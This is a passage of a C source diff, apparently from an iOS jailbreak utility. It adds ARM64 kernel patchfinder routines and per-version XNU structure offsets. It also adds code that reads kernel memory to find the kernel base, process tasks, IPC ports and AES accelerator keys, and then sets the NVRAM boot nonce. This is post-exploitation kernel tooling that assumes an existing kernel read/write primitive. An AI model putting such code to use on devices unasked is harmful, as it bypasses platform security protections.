+ && insns[3] == 0xcb090108) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return pfinder_gPhysBase(pfinder) + 8;
+
+ return follow_adrpLdr(ref, insns[6], insns[7]);
+}
+
+kaddr_t
+pfinder_gVirtBase(pfinder_t pfinder)
+{
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[8];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0x7100005F
+ && insns[1] == 0x54000120
+ && (insns[2] & 0x9F000000) == 0x90000000 //adrp
+ && (insns[3] & 0xFF800000) == 0x91000000 //add
+ && insns[4]== 0xF9400042
+ && insns[5] == 0xCB020000) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ return follow_adrl(ref, insns[6], insns[7]);
+}
+
+kaddr_t
+pfinder_perfmon_dev_open_2(pfinder_t pfinder)
+{
+//__TEXT_EXEC:__text:FFFFFFF007324700 3F 01 08 6B CMP W9, W8
+//__TEXT_EXEC:__text:FFFFFFF007324704 E1 01 00 54 B.NE loc_FFFFFFF007324740
+//__TEXT_EXEC:__text:FFFFFFF007324708 A8 5E 00 12 AND W8, W21, #0xFFFFFF
+//__TEXT_EXEC:__text:FFFFFFF00732470C 1F 05 00 71 CMP W8, #1
+//__TEXT_EXEC:__text:FFFFFFF007324710 68 02 00 54 B.HI loc_FFFFFFF00732475C
+
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[8];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0x53187ea8 //lsr w8, w21, #0x18
+ && (insns[2] & 0xffc0001f) == 0xb9400009 // ldr w9, [Xn, n]
+ && insns[3] == 0x6b08013f //cmp w9, w8 v
+ && (insns[4] & 0xff00001f) == 0x54000001 //b.ne *
+ && (insns[5] & 0xfffffc00) == 0x12005c00 //and Wn, Wn, 0xfffff v
+ && insns[6] == 0x7100051f //cmp w8, #1 v
+ && (insns[7] & 0xff00001f) == 0x54000008 /* b.hi * v */) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref);
+
+ sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns));
+ if(insns[0] == 0xD503237F) {
+ ref -= 4;
+ }
+
+ return ref;
+}
+
+kaddr_t
+pfinder_perfmon_dev_open(pfinder_t pfinder)
+{
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[5];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if ((insns[0] & 0xff000000) == 0x34000000 //cbz w*
+ && insns[1] == 0x52800300 //mov W0, #0x18
+ && (insns[2] & 0xff000000) == 0x14000000 //b*
+ && insns[3] == 0x52800340 //mov w0, #0x1A
+ && (insns[4] & 0xff000000) == 0x14000000 /* b* */) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return pfinder_perfmon_dev_open_2(pfinder);
+
+ ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref);
+
+ sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns));
+ if(insns[0] == 0xD503237F) {
+ ref -= 4;
+ }
+
+ return ref;
+}
+
+kaddr_t
+pfinder_perfmon_devices(pfinder_t pfinder)
+{
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[5];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0x6b08013f //cmp w9, w8
+ && (insns[1] & 0xff00001f) == 0x54000001 //b.ne *
+ && insns[2] == 0x52800028 //mov w8, #1
+ && insns[3] == 0x5280140a /* mov w10, #0xa0 */) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if(IS_ADRP(insns[0]) && IS_ADD_X(insns[1])) {
+ break;
+ }
+ }
+
+ return follow_adrl(ref, insns[0], insns[1]);
+}
+
+kaddr_t
+pfinder_ptov_table(pfinder_t pfinder)
+{
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[5];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0x52800049
+ && insns[1] == 0x14000004
+ && insns[2] == 0xd2800009
+ && insns[3] == 0x14000002) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if(IS_ADRP(insns[0]) && IS_ADD_X(insns[1])) {
+ break;
+ }
+ }
+
+ return follow_adrl(ref, insns[0], insns[1]);
+}
+
+kaddr_t
+pfinder_vn_kqfilter_2(pfinder_t pfinder)
+{
+ bool found = false;
+
+ //1. opcode
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[5];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0x7100051f //cmp w8, #1
+ && (insns[1] & 0xff00001f) == 0x54000000 //b.eq *
+ && insns[2] == 0x7100111f //cmp w8, #4
+ && (insns[3] & 0xff00001f) == 0x54000000 //b.eq *
+ && insns[4] == 0x71001d1f /* cmp w8, #7 */) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref);
+
+ sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns));
+ if(insns[0] == 0xD503237F) {
+ ref -= 4;
+ }
+
+ return ref;
+}
+
+kaddr_t
+pfinder_vn_kqfilter(pfinder_t pfinder)
+{
+ bool found = false;
+
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[5];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0xD2800001
+ && insns[1] == 0xAA1503E0
+ && insns[2] == 0xAA1303E2
+ && insns[3] == 0xAA1403E3) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return pfinder_vn_kqfilter_2(pfinder);
+
+ ref = pfinder_bof64(pfinder, pfinder.sec_text.s64.addr, ref);
+
+ sec_read_buf(pfinder.sec_text, ref-4, insns, sizeof(insns));
+ if(insns[0] == 0xD503237F) {
+ ref -= 4;
+ }
+
+ return ref;
+}
+
+kaddr_t
+pfinder_proc_object_size(pfinder_t pfinder) {
+ bool found = false;
+
+ kaddr_t ref = pfinder.sec_text.s64.addr;
+ uint32_t insns[5];
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if (insns[0] == 0xAA1503E0
+ && insns[1] == 0x528104E1
+ && insns[2] == 0x52800102
+ && insns[3] == 0x52801103) {
+ found = true;
+ break;
+ }
+ }
+ if(!found)
+ return 0;
+
+ for(; sec_read_buf(pfinder.sec_text, ref, insns, sizeof(insns)) == KERN_SUCCESS; ref += sizeof(*insns)) {
+ if(IS_ADRP(insns[0]) && (IS_LDR_X(insns[1]) || IS_LDR_W_UNSIGNED_IMM(insns[1]) || IS_LDR_X_UNSIGNED_IMM(insns[1]))) {
+ break;
+ }
+ }
+
+ ref = follow_adrpLdr(ref, insns[0], insns[1]);
+ printf("proc_object_size addr: 0x%llx\n", ref);
+
+ uint64_t val = 0;
+ kread_buf(ref, &val, sizeof(val));
+
+ return val;
+}
+
+static kern_return_t
+init_kbase(void) {
+ struct {
+ uint32_t pri_prot, pri_max_prot, pri_inheritance, pri_flags;
+ uint64_t pri_offset;
+ uint32_t pri_behavior, pri_user_wired_cnt, pri_user_tag, pri_pages_resident, pri_pages_shared_now_private, pri_pages_swapped_out, pri_pages_dirtied, pri_ref_cnt, pri_shadow_depth, pri_share_mode, pri_private_pages_resident, pri_shared_pages_resident, pri_obj_id, pri_depth;
+ kaddr_t pri_addr;
+ uint64_t pri_sz;
+ } pri;
+ mach_msg_type_number_t cnt = TASK_DYLD_INFO_COUNT;
+ CFDictionaryRef kexts_info, kext_info;
+ kernrw_0_kbase_func_t kernrw_0_kbase;
+ kaddr_t kext_addr, kext_addr_slid;
+ task_dyld_info_data_t dyld_info;
+ krw_0_kbase_func_t krw_0_kbase;
+ char kext_name[KMOD_MAX_NAME];
+ struct mach_header_64 mh64;
+ CFStringRef kext_name_cf;
+ CFNumberRef kext_addr_cf;
+ CFArrayRef kext_names;
+
+ if(kbase == 0) {
+ if((((kernrw_0 == NULL || (kernrw_0_kbase = (kernrw_0_kbase_func_t)dlsym(kernrw_0, "kernRW_getKernelBase")) == NULL || kernrw_0_kbase(&kbase) != KERN_SUCCESS)) && (krw_0 == NULL || (krw_0_kbase = (krw_0_kbase_func_t)dlsym(krw_0, "kbase")) == NULL || krw_0_kbase(&kbase) != 0)) || tfp0 == TASK_NULL || task_info(tfp0, TASK_DYLD_INFO, (task_info_t)&dyld_info, &cnt) != KERN_SUCCESS || (kbase = vm_kernel_link_addr + dyld_info.all_image_info_size) == 0) {
+ for(pri.pri_addr = 0; proc_pidinfo(0, PROC_PIDREGIONINFO, pri.pri_addr, &pri, sizeof(pri)) == sizeof(pri); pri.pri_addr += pri.pri_sz) {
+ if(pri.pri_prot == VM_PROT_READ && pri.pri_user_tag == VM_KERN_MEMORY_OSKEXT) {
+ if(kread_buf(pri.pri_addr + LOADED_KEXT_SUMMARY_HDR_NAME_OFF, kext_name, sizeof(kext_name)) == KERN_SUCCESS) {
+ printf("kext_name: %s\n", kext_name);
+ if(kread_addr(pri.pri_addr + LOADED_KEXT_SUMMARY_HDR_ADDR_OFF, &kext_addr_slid) == KERN_SUCCESS) {
+ printf("kext_addr_slid: " KADDR_FMT "\n", kext_addr_slid);
+ if((kext_name_cf = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, kext_name, kCFStringEncodingUTF8, kCFAllocatorNull)) != NULL) {
+ if((kext_names = CFArrayCreate(kCFAllocatorDefault, (const void **)&kext_name_cf, 1, &kCFTypeArrayCallBacks)) != NULL) {
+ if((kexts_info = OSKextCopyLoadedKextInfo(kext_names, NULL)) != NULL) {
+ if(CFGetTypeID(kexts_info) == CFDictionaryGetTypeID() && CFDictionaryGetCount(kexts_info) == 1 && (kext_info = CFDictionaryGetValue(kexts_info, kext_name_cf)) != NULL && CFGetTypeID(kext_info) == CFDictionaryGetTypeID() && (kext_addr_cf = CFDictionaryGetValue(kext_info, CFSTR(kOSBundleLoadAddressKey))) != NULL && CFGetTypeID(kext_addr_cf) == CFNumberGetTypeID() && CFNumberGetValue(kext_addr_cf, kCFNumberSInt64Type, &kext_addr) && kext_addr_slid > kext_addr) {
+ kbase = vm_kernel_link_addr + (kext_addr_slid - kext_addr);
+ }
+ CFRelease(kexts_info);
+ }
+ CFRelease(kext_names);
+ }
+ CFRelease(kext_name_cf);
+ }
+ }
+ }
+ break;
+ }
+ }
+ }
+ }
+ if(kread_buf(kbase, &mh64, sizeof(mh64)) == KERN_SUCCESS && mh64.magic == MH_MAGIC_64 && mh64.cputype == CPU_TYPE_ARM64 && mh64.filetype ==
+#if TARGET_OS_OSX
+ MH_FILESET
+#else
+ MH_EXECUTE
+#endif
+ ) {
+ printf("kbase: " KADDR_FMT "\n", kbase);
+ return KERN_SUCCESS;
+ }
+ return KERN_FAILURE;
+}
+
+static kern_return_t
+pfinder_init_offsets(void) {
+ kern_return_t ret = KERN_FAILURE;
+ struct utsname uts;
+ CFStringRef cf_str;
+ pfinder_t pfinder;
+ char *p, *e;
+
+ if(uname(&uts) == 0 && (p = strstr(uts.version, "root:xnu-")) != NULL && (e = strchr(p += strlen("root:xnu-"), '~')) != NULL) {
+ *e = '\0';
+ if((cf_str = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, p, kCFStringEncodingASCII, kCFAllocatorNull)) != NULL) {
+ proc_task_off = 0x18;
+ proc_p_pid_off = 0x10;
+ task_itk_space_off = 0x290;
+ io_dt_nvram_of_dict_off = 0xC0;
+ ipc_port_ip_kobject_off = 0x68;
+#if TARGET_OS_OSX
+ vm_kernel_link_addr = 0xFFFFFE0007004000ULL;
+#else
+ vm_kernel_link_addr = 0xFFFFFFF007004000ULL;
+#endif
+ if(CFStringCompare(cf_str, CFSTR("3789.1.24"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x300;
+ if(CFStringCompare(cf_str, CFSTR("4397.0.0.2.4"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x308;
+ if(CFStringCompare(cf_str, CFSTR("4903.200.199.12.3"), kCFCompareNumerically) != kCFCompareLessThan) {
+ proc_task_off = 0x10;
+ proc_p_pid_off = 0x60;
+ task_itk_space_off = 0x300;
+ if(CFStringCompare(cf_str, CFSTR("6041.0.0.110.11"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x320;
+ if(CFStringCompare(cf_str, CFSTR("6110.0.0.120.8"), kCFCompareNumerically) != kCFCompareLessThan) {
+ proc_p_pid_off = 0x68;
+ if(CFStringCompare(cf_str, CFSTR("7090.0.0.110.4"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x330;
+ io_dt_nvram_of_dict_off = 0xB8;
+ if(CFStringCompare(cf_str, CFSTR("7195.50.3.201.1"), kCFCompareNumerically) != kCFCompareLessThan) {
+#if TARGET_OS_OSX
+ io_dt_nvram_of_dict_off = 0xE0;
+#else
+ io_dt_nvram_of_dict_off = 0xC0;
+#endif
+ if(CFStringCompare(cf_str, CFSTR("7195.60.69"), kCFCompareNumerically) != kCFCompareLessThan) {
+#if TARGET_OS_OSX
+ io_dt_nvram_of_dict_off = 0xE8;
+#else
+ io_dt_nvram_of_dict_off = 0xC8;
+#endif
+ if(CFStringCompare(cf_str, CFSTR("7195.100.296.111.3"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x340;
+ if(CFStringCompare(cf_str, CFSTR("7195.100.326.0.1"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x338;
+ if(CFStringCompare(cf_str, CFSTR("7938.0.0.111.2"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x330;
+ ipc_port_ip_kobject_off = 0x58;
+ if(CFStringCompare(cf_str, CFSTR("8019.0.46.0.4"), kCFCompareNumerically) != kCFCompareLessThan) {
+#if TARGET_OS_OSX
+ io_dt_nvram_of_dict_off = 0xF0;
+#else
+ io_dt_nvram_of_dict_off = 0xE8;
+#endif
+ if(CFStringCompare(cf_str, CFSTR("8019.60.40.0.1"), kCFCompareNumerically) != kCFCompareLessThan) {
+ task_itk_space_off = 0x308;
+ if(CFStringCompare(cf_str, CFSTR("8020.100.406.0.1"), kCFCompareNumerically) != kCFCompareLessThan) {
+#if TARGET_OS_OSX
+ io_dt_nvram_of_dict_off = 0xC0;
+#else
+ io_dt_nvram_of_dict_off = 0xB8;
+#endif
+ ipc_port_ip_kobject_off = 0x48;
+ if(CFStringCompare(cf_str, CFSTR("8792.0.50.111.3"), kCFCompareNumerically) != kCFCompareLessThan) {
+ proc_p_pid_off = 0x60;
+ has_proc_struct_sz = true;
+ task_itk_space_off = 0x300;
+ if(CFStringCompare(cf_str, CFSTR("8792.40.101.0.1"), kCFCompareNumerically) != kCFCompareLessThan) {
+#if TARGET_OS_OSX
+ io_dt_nvram_of_dict_off = 0xC8;
+#else
+ io_dt_nvram_of_dict_off = 0xC0;
+#endif
+ has_kalloc_array_decode = true;
+ if(CFStringCompare(cf_str, CFSTR("8792.80.25.121.4"), kCFCompareNumerically) != kCFCompareLessThan) {
+ kalloc_array_decode_v2 = true;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ CFRelease(cf_str);
+ if(init_kbase() == KERN_SUCCESS && pfinder_init(&pfinder) == KERN_SUCCESS) {
+ if((kernproc = pfinder_kernproc(pfinder)) != 0) {
+ printf("kernproc: " KADDR_FMT "\n", kernproc);
+ if(!has_proc_struct_sz) {
+ ret = KERN_SUCCESS;
+ } else if((proc_struct_sz_ptr = pfinder_proc_struct_sz_ptr(pfinder)) != 0) {
+ printf("proc_struct_sz_ptr: " KADDR_FMT "\n", proc_struct_sz_ptr);
+ ret = KERN_SUCCESS;
+ }
+ }
+ pfinder_term(&pfinder);
+ }
+ }
+ }
+ return ret;
+}
+
+static kern_return_t
+find_task(pid_t pid, kaddr_t *task) {
+ pid_t cur_pid;
+ kaddr_t proc;
+
+ if(kread_addr(kernproc + PROC_P_LIST_LH_FIRST_OFF, &proc) == KERN_SUCCESS) {
+ while(proc != 0 && kread_buf(proc + proc_p_pid_off, &cur_pid, sizeof(cur_pid)) == KERN_SUCCESS) {
+ if(cur_pid == pid) {
+ if(has_proc_struct_sz) {
+ *task = proc + proc_struct_sz;
+ return KERN_SUCCESS;
+ }
+ return kread_addr(proc + proc_task_off, task);
+ }
+ if(pid == 0 || kread_addr(proc + PROC_P_LIST_LE_PREV_OFF, &proc) != KERN_SUCCESS) {
+ break;
+ }
+ }
+ }
+ return KERN_FAILURE;
+}
+
+static void
+kalloc_array_decode(kaddr_t *addr) {
+ unsigned kalloc_array_type_shift;
+
+ if(has_kalloc_array_decode) {
+ if(t1sz_boot != 0) {
+ if(kalloc_array_decode_v2) {
+ kalloc_array_type_shift = 63 - t1sz_boot;
+ if(((*addr >> kalloc_array_type_shift) & 1U) != 0) {
+ *addr &= ~0x1FULL;
+ } else {
+ *addr &= ~((1U << ARM_PGSHIFT_16K) - 1U);
+ *addr |= 1ULL << kalloc_array_type_shift;
+ }
+ } else {
+ kalloc_array_type_shift = 62 - t1sz_boot;
+ if(((*addr >> kalloc_array_type_shift) & 3U) != 0) {
+ *addr &= ~0xFULL;
+ } else {
+ *addr &= ~((1U << ARM_PGSHIFT_16K) - 1U);
+ *addr |= 3ULL << kalloc_array_type_shift;
+ }
+ }
+ } else {
+ *addr |= ~((1ULL << KALLOC_ARRAY_TYPE_BIT) - 1U);
+ }
+ }
+}
+
+static kern_return_t
+lookup_ipc_port(mach_port_name_t port_name, kaddr_t *ipc_port) {
+ kaddr_t itk_space, is_table;
+
+ if(MACH_PORT_VALID(port_name) && kread_addr(our_task + task_itk_space_off, &itk_space) == KERN_SUCCESS) {
+ kxpacd(&itk_space);
+ printf("itk_space: " KADDR_FMT "\n", itk_space);
+ if(kread_addr(itk_space + IPC_SPACE_IS_TABLE_OFF, &is_table) == KERN_SUCCESS) {
+ kxpacd(&is_table);
+ kalloc_array_decode(&is_table);
+ printf("is_table: " KADDR_FMT "\n", is_table);
+ return kread_addr(is_table + MACH_PORT_INDEX(port_name) * IPC_ENTRY_SZ + IPC_ENTRY_IE_OBJECT_OFF, ipc_port);
+ }
+ }
+ return KERN_FAILURE;
+}
+
+static kern_return_t
+lookup_io_object(io_object_t object, kaddr_t *ip_kobject) {
+ kaddr_t ipc_port;
+
+ if(lookup_ipc_port(object, &ipc_port) == KERN_SUCCESS) {
+ kxpacd(&ipc_port);
+ printf("ipc_port: " KADDR_FMT "\n", ipc_port);
+ return kread_addr(ipc_port + ipc_port_ip_kobject_off, ip_kobject);
+ }
+ return KERN_FAILURE;
+}
+
+static kern_return_t
+nonce_generate(void) {
+ io_service_t nonce_serv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileApNonce"));
+ uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH];
+ kern_return_t ret = KERN_FAILURE;
+ io_connect_t nonce_conn;
+ size_t nonce_d_sz;
+
+ if(nonce_serv != IO_OBJECT_NULL) {
+ printf("nonce_serv: 0x%" PRIX32 "\n", nonce_serv);
+ if(IOServiceOpen(nonce_serv, mach_task_self(), 0, &nonce_conn) == KERN_SUCCESS) {
+ printf("nonce_conn: 0x%" PRIX32 "\n", nonce_conn);
+ if(IOConnectCallStructMethod(nonce_conn, APPLE_MOBILE_AP_NONCE_CLEAR_NONCE_SEL, NULL, 0, NULL, NULL) == KERN_SUCCESS) {
+ nonce_d_sz = sizeof(nonce_d);
+ ret = IOConnectCallStructMethod(nonce_conn, APPLE_MOBILE_AP_NONCE_GENERATE_NONCE_SEL, NULL, 0, nonce_d, &nonce_d_sz);
+ }
+ IOServiceClose(nonce_conn);
+ } else {
+ puts("Please use \"ideviceinfo -k ApNonce\" to generate nonce.");
+ ret = KERN_SUCCESS;
+ }
+ IOObjectRelease(nonce_serv);
+ }
+ return ret;
+}
+
+static kern_return_t
+get_of_dict(io_registry_entry_t nvram_entry, kaddr_t *of_dict) {
+ kaddr_t nvram_object;
+
+ if(lookup_io_object(nvram_entry, &nvram_object) == KERN_SUCCESS) {
+ kxpacd(&nvram_object);
+ printf("nvram_object: " KADDR_FMT "\n", nvram_object);
+ return kread_addr(nvram_object + io_dt_nvram_of_dict_off, of_dict);
+ }
+ return KERN_FAILURE;
+}
+
+static kaddr_t
+lookup_key_in_os_dict(kaddr_t os_dict, const char *key) {
+ kaddr_t os_dict_entry_ptr, string_ptr, val = 0;
+ uint32_t os_dict_cnt, cur_key_len;
+ size_t key_len = strlen(key) + 1;
+ struct {
+ kaddr_t key, val;
+ } os_dict_entry;
+ char *cur_key;
+
+ if((cur_key = malloc(key_len)) != NULL) {
+ if(kread_addr(os_dict + OS_DICTIONARY_DICT_ENTRY_OFF, &os_dict_entry_ptr) == KERN_SUCCESS) {
+ kxpacd(&os_dict_entry_ptr);
+ printf("os_dict_entry_ptr: " KADDR_FMT "\n", os_dict_entry_ptr);
+ if(kread_buf(os_dict + OS_DICTIONARY_COUNT_OFF, &os_dict_cnt, sizeof(os_dict_cnt)) == KERN_SUCCESS) {
+ printf("os_dict_cnt: 0x%" PRIX32 "\n", os_dict_cnt);
+ while(os_dict_cnt-- != 0 && kread_buf(os_dict_entry_ptr + os_dict_cnt * sizeof(os_dict_entry), &os_dict_entry, sizeof(os_dict_entry)) == KERN_SUCCESS) {
+ printf("key: " KADDR_FMT ", val: " KADDR_FMT "\n", os_dict_entry.key, os_dict_entry.val);
+ if(kread_buf(os_dict_entry.key + OS_STRING_LEN_OFF, &cur_key_len, sizeof(cur_key_len)) != KERN_SUCCESS) {
+ break;
+ }
+ cur_key_len = OS_STRING_LEN(cur_key_len);
+ printf("cur_key_len: 0x%" PRIX32 "\n", cur_key_len);
+ if(cur_key_len == key_len) {
+ if(kread_addr(os_dict_entry.key + OS_STRING_STRING_OFF, &string_ptr) != KERN_SUCCESS) {
+ break;
+ }
+ kxpacd(&string_ptr);
+ printf("string_ptr: " KADDR_FMT "\n", string_ptr);
+ if(kread_buf(string_ptr, cur_key, key_len) != KERN_SUCCESS) {
+ break;
+ }
+ if(memcmp(cur_key, key, key_len) == 0) {
+ val = os_dict_entry.val;
+ break;
+ }
+ }
+ }
+ }
+ }
+ free(cur_key);
+ }
+ return val;
+}
+
+static kern_return_t
+get_nvram_prop(io_registry_entry_t nvram_entry, const char *key, char *val, CFIndex val_sz) {
+ CFStringRef cf_key = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, key, kCFStringEncodingUTF8, kCFAllocatorNull), cf_val;
+ kern_return_t ret = KERN_FAILURE;
+
+ if(cf_key != NULL) {
+ if((cf_val = IORegistryEntryCreateCFProperty(nvram_entry, cf_key, kCFAllocatorDefault, kNilOptions)) != NULL) {
+ if(CFGetTypeID(cf_val) == CFStringGetTypeID() && CFStringGetCString(cf_val, val, val_sz, kCFStringEncodingUTF8)) {
+ ret = KERN_SUCCESS;
+ }
+ CFRelease(cf_val);
+ }
+ CFRelease(cf_key);
+ }
+ return ret;
+}
+
+static kern_return_t
+set_nvram_prop(io_registry_entry_t nvram_entry, const char *key, const char *val) {
+ CFStringRef cf_key = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, key, kCFStringEncodingUTF8, kCFAllocatorNull), cf_val;
+ kern_return_t ret = KERN_FAILURE;
+
+ if(cf_key != NULL) {
+ if((cf_val = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, val, kCFStringEncodingUTF8, kCFAllocatorNull)) != NULL) {
+ ret = IORegistryEntrySetCFProperty(nvram_entry, cf_key, cf_val);
+ CFRelease(cf_val);
+ }
+ CFRelease(cf_key);
+ }
+ return ret;
+}
+
+static kern_return_t
+sync_nonce(io_registry_entry_t nvram_entry) {
+ if(set_nvram_prop(nvram_entry, "temp_key", "temp_val") != KERN_SUCCESS || set_nvram_prop(nvram_entry, kIONVRAMDeletePropertyKey, "temp_key") != KERN_SUCCESS || set_nvram_prop(nvram_entry, kIONVRAMForceSyncNowPropertyKey, kBootNoncePropertyKey) != KERN_SUCCESS) {
+ puts("Please use \"ideviceenterrecovery UDID\" to enter recovery mode.");
+ }
+ return KERN_SUCCESS;
+}
+
+static size_t
+hash_nonce(uint64_t nonce, uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH]) {
+ io_registry_entry_t chosen = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/chosen");
+ struct {
+ uint32_t generated, key_id, key_sz, val[4], key[4], zero, pad;
+ } key;
+ size_t out_sz, nonce_d_sz = 0, hash_method_len;
+ uint64_t buf[] = { 0, nonce };
+ kaddr_t aes_object, keys_ptr;
+ CFDataRef hash_method_cf;
+ const char *hash_method;
+ io_service_t aes_serv;
+ uint32_t key_cnt;
+
+ if(chosen != IO_OBJECT_NULL) {
+ if((hash_method_cf = IORegistryEntryCreateCFProperty(chosen, CFSTR("crypto-hash-method"), kCFAllocatorDefault, kNilOptions)) != NULL) {
+ if(CFGetTypeID(hash_method_cf) == CFDataGetTypeID() && (hash_method_len = (size_t)CFDataGetLength(hash_method_cf)) != 0 && (hash_method = (const char *)CFDataGetBytePtr(hash_method_cf))[hash_method_len - 1] == '\0') {
+ if(strcmp(hash_method, "sha1") == 0) {
+ nonce_d_sz = CC_SHA1_DIGEST_LENGTH;
+ CC_SHA1(&nonce, sizeof(nonce), nonce_d);
+ } else if(strcmp(hash_method, "sha2-384") == 0) {
+ nonce_d_sz = CC_SHA384_DIGEST_LENGTH;
+ if(t1sz_boot == 0) {
+ CC_SHA384(&nonce, sizeof(nonce), nonce_d);
+ } else if((aes_serv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOAESAccelerator"))) != IO_OBJECT_NULL) {
+ printf("aes_serv: 0x%" PRIX32 "\n", aes_serv);
+ if(lookup_io_object(aes_serv, &aes_object) == KERN_SUCCESS) {
+ kxpacd(&aes_object);
+ printf("aes_object: " KADDR_FMT "\n", aes_object);
+ if(kread_addr(aes_object + IO_AES_ACCELERATOR_SPECIAL_KEYS_OFF, &keys_ptr) == KERN_SUCCESS) {
+ printf("keys_ptr: " KADDR_FMT "\n", keys_ptr);
+ if(kread_buf(aes_object + IO_AES_ACCELERATOR_SPECIAL_KEY_CNT_OFF, &key_cnt, sizeof(key_cnt)) == KERN_SUCCESS) {
+ printf("key_cnt: 0x%" PRIX32 "\n", key_cnt);
+ while(key_cnt-- != 0 && kread_buf(keys_ptr + key_cnt * sizeof(key), &key, sizeof(key)) == KERN_SUCCESS) {
+ printf("generated: 0x%" PRIX32 ", key_id: 0x%" PRIX32 ", key_sz: 0x%" PRIX32 ", val: 0x%08" PRIX32 "%08" PRIX32 "%08" PRIX32 "%08" PRIX32 "\n", key.generated, key.key_id, key.key_sz, __builtin_bswap32(key.val[0]), __builtin_bswap32(key.val[1]), __builtin_bswap32(key.val[2]), __builtin_bswap32(key.val[3]));
+ if(key.generated == 1 && key.key_id == 0x8A3 && key.key_sz == 8 * kCCKeySizeAES128) {
+ if(CCCrypt(kCCEncrypt, kCCAlgorithmAES128, 0, key.val, kCCKeySizeAES128, NULL, buf, sizeof(buf), buf, sizeof(buf), &out_sz) == kCCSuccess && out_sz == sizeof(buf)) {
+ CC_SHA384(buf, sizeof(buf), nonce_d);
+ }
+ break;
+ }
+ }
+ }
+ }
+ }
+ IOObjectRelease(aes_serv);
+ }
+ }
+ }
+ CFRelease(hash_method_cf);
+ }
+ IOObjectRelease(chosen);
+ }
+ return MIN(nonce_d_sz, 32);
+}
+
+kern_return_t
+dimentio_preinit(uint64_t *nonce, bool set, uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH], size_t *nonce_d_sz) {
+ io_registry_entry_t nvram_entry = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/options");
+ char nonce_hex[2 * sizeof(*nonce) + sizeof("0x")];
+ kern_return_t ret = KERN_FAILURE;
+
+ if(nvram_entry != IO_OBJECT_NULL) {
+ printf("nvram_entry: 0x%" PRIX32 "\n", nvram_entry);
+ if(set) {
+ snprintf(nonce_hex, sizeof(nonce_hex), "0x%016" PRIx64, *nonce);
+ if(set_nvram_prop(nvram_entry, kBootNoncePropertyKey, nonce_hex) == KERN_SUCCESS && set_nvram_prop(nvram_entry, kIONVRAMSyncNowPropertyKey, kBootNoncePropertyKey) == KERN_SUCCESS) {
